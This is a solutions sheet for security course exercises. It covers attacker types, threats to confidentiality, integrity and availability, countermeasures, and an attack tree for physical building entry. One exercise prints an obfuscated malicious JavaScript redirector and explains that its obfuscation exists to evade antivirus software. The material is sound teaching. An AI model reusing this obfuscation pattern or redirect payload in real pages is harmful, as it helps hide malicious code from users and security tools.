# Solutions

**Exercises 1st Semester**

# Exercise 1.1 (Attacker Stereotypes)

| Name | Characteristics / Motivation | Danger |
|------|------------------------------|--------|
| **Script Kiddie** | Bragging rights & wreaking havoc | 💀 |
| **Hacktivists** | (Pseudo-)political & social goals | 💀💀 |
| **Competitors** | Defamation & industrial espionage | 💀💀 |
| **Organized Crime** | Monetization, e.g. extortion & fraud (Providing Cyber-Crime-as-a-Service) | 💀💀(💀) |
| **Evil Employees** | Revenge & corruption Dangerous insider knowledge | 💀💀💀 |
| **Nation States** | Power! Unlimited resources & budget | 💀x100 |

# Exercise 2.1 (Threats to Security Goals)

| Threat | C | I | A |
|---|---|---|---|
| Network Sniffing | ✔ | | |
| DDoS Attack | | | ✔ |
| Rogue WiFi Access Point | ✔ | ✔ | (✔) |
| Electromagnetic Pulse (EMP) | | (✔) | ✔ |
| Whistleblower | ✔ | | |
| Social Engineering | ✔ | ✔ | ✔ |

# Exercise 2.3 (CIA³ Measures)

| Security Goal | Technical Measures | Organizational Measures |
|---|---|---|
| Confidentiality | e.g. AES/RSA, HTTPS, Tor, 2FA | e.g. Anonymous Payment Systems, Access Restrictions, Data Classification |
| Integrity | e.g. SHA2, HSTS, MACs, PGP/GPG, Blockchain | e.g. Version Control, Access Logs |
| Availability | e.g. Load Balancer, Circuit Breaker Pattern, Heartbeat Monitoring, RAID | e.g. 24/7 Support, On-Call-Duty, SLAs |

| Security Goal | Technical Measures | Organizational Measures |
|---|---|---|
| Accountability | ⁉️ | e.g. Security Policies, Risk Assessments, RACI Matrix, Segregation of Duties |
| Assurance | e.g. Vulnerability Scanner | e.g. KPIs, Customer/Supplier Audits, Penetration Test, Red Team |

**Exercise 3.1 (JavaScript Payload)**

1. Default Internet browser is opened (as it is probably bound to open `.html` files on most computers)

2. The JavaScript is executed resulting in the effective code `document["location"]=http://enjoyyourhaircut.com/5.html;` being run

3. The browser is redirected to http://enjoyyourhaircut.com/5.html (which does not exist any more)

```
<!-- C/C v0964 -->
<script>
function c(){};t=false;kM="kM";c.prototype = {v : function()
    {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var
    w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr
    (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst
    r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9"
    .substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw
    zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var
    r=false;zC=false;m='';document["locazLsR".substr(0,4)+"tion"]=w;var
    eG=false;this.k='';q=5975;g=55201;this.p="";var iK=61242;var
    n=false;}};var nF=false;this.eF=false;var x=new c();
    l="l";gO="";x.v();this.kN=false;
</script>
```

ℹ️ *Only the yellow code sections are relevant as the payload. The rest is merely obfuscation to prevent detection by AV software!*

# Exercise 7.1 (Attack Tree: Access Building)

```
1. Go through a door
   a. When it's unlocked:
      i. Get lucky.
      ii. Obstruct the latch plate (the "Watergate Classic").
      iii. Distract the person who locks the door at night.
   b. Drill the lock.
   c. Pick the lock.
   d. Use the key.
      i. Find a key.
      ii. Steal a key.
      iii. Photograph and reproduce the key.
      iv. Social engineer a key from someone.
         1. Borrow the key.
         2. Convince someone to post a photo of their key ring.
   e. Social engineer your way in.
      i. Act like you're authorized and follow someone in.
      ii. Make friends with an authorized person.
      iii. Carry a box, a cup of coffee in each hand, etc.
```

2. Go through a window.
   a. Break a window.
   b. Lift the window.
3. Go through a wall.
   a. Use a sledgehammer or axe.
   b. Use a truck to go through the wall.
4. Gain access via other means.
   a. Use a fi re escape.
   b. Use roof access from a helicopter (preferably black) or adjacent
      building.
   c. Enter another part of the building, using another tenant's access.

# Exercise 7.2 (Threat Boundaries)